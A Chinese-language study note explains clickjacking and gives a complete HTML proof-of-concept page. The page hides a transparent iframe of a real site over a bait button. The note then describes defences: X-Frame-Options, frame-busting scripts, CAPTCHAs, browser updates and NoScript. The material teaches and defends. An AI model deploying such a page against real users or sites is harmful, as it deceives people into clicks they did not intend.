JS点击劫持
基本概念:通过覆盖不可见的框架误导受害者点击而造成的攻击行为。
1 构造一个点击劫持: 2 <!DOCTYPE html> 3 <html> 4 <meta http‐equiv="Content‐Type" content="text/html; charset=utf8"/> 5 <head> 6 <title>Click Jack!!!</title> 7 <style> 8 9 html,body,iframe{ 10 display: block; 11 height: 100%; 12 width: 100%; 13 margin: 0; 14 padding: 0; 15 border: none; 16 } 17 18 iframe{ 19 opacity: 0; 20 filter:alpha(opacity=30); 21 ‐moz‐opacity:0.3; 22 opacity:0.3; 23 position:absolute; 24 z‐index:2; 25 } 26 27 button{ 28 position: absolute; 29 top: ‐5px; 30 left: 875px; 31 z‐index: 1; 32 width: 350px; 33 height: 700px; 34 } 35 </style> 36 </head> 37 38 <body> 39 <button>美女图片</button> <img src="http://pic1.win4000.com/wallpaper/2018-03-19/5aaf2bf0122d2.jpg"> 40 <iframe src="https://www.baidu.com/"></iframe>41 </body> 42 </html>
修复
01服务器端防御
服务器端防御点击劫持漏洞的思想是结合浏览器的安全机制进行防御,主要的防御方法介绍如下。
1、X-FRAME-OPTIONS 机制
在微软发布新一代的浏览器 Internet Explorer 8.0中首次提出全新的安全机制:X-FRAME-OPTIONS。
该机制有两个选项:DENY 和 SAMEORIGIN。
DENY 表示任何网页都不能使用 iframe 载入该网页,SAMEORIGIN 表示符合同源策略的网页可以使用 iframe 载入该网页。
除了 Chrome 和 safari 以外,还支持第三个参数 Allow-From(白名单限制)。如果浏览器使用了这个安全机制,在网站发现可疑行为时,会提示用户正在浏览网页存在安全隐患,并建议用户在新窗口中打开。这样攻击者就无法通过 iframe 隐藏目标的网页。
2、使用 FrameBusting 代码
点击劫持攻击需要首先将目标网站载入到恶意网站中,使用 iframe 载入网页是最有效的方法。Web 安全研究人员针对 iframe 特性提出 Frame Busting 代码,使用 JavaScript 脚本阻止恶意网站载入网页。如果检测到网页被非法网页载入,就执行自动跳转功能。Frame Busting 代码是一种有效防御网站被攻击者恶意载入的方法,网站开发人员使用 Frame Busting 代码阻止页面被非法载入。需要指出的情况是,如果用户浏览器禁用 JavaScript 脚本,那么 FrameBusting 代码也无法正常运行。所以,该类代码只能提供部分保障功能。
(禁止iframe的嵌套)
3、使用认证码认证用户
点击劫持漏洞通过伪造网站界面进行攻击,网站开发人员可以通过认证码识别用户,确定是用户发出的点击命令才执行相应操作。识别用户的方法中最有效的方法是认证码认证。例如,在网站上广泛存在的发帖认证码,要求用户输入图形中的字符,输入某些图形的特征等。
02客户端防御
由于点击劫持攻击的代码在客户端执行,因此客户端有很多机制可以防御此漏洞。
1、升级浏览器
最新版本的浏览器提供很多防御点击劫持漏洞的安全机制,对于普通的互联网用户,经常更新修复浏览器的安全漏洞,能够最有效的防止恶意攻击。
2、NoScript 扩展
对于 Firefox 的用户,使用 NoScript 扩展能够在一定程度上检测和阻止点击劫持攻击。利用 NoScript 中 ClearClick 组件能够检测和警告潜在的点击劫持攻击,自动检测页面中可能不安全的页面。
另: JS点击劫持和JS劫持,是完全两个不同的漏洞哈,JS劫持 漏洞学习记录可见:https://www.cnblogs.com/jayus/p/16827179.html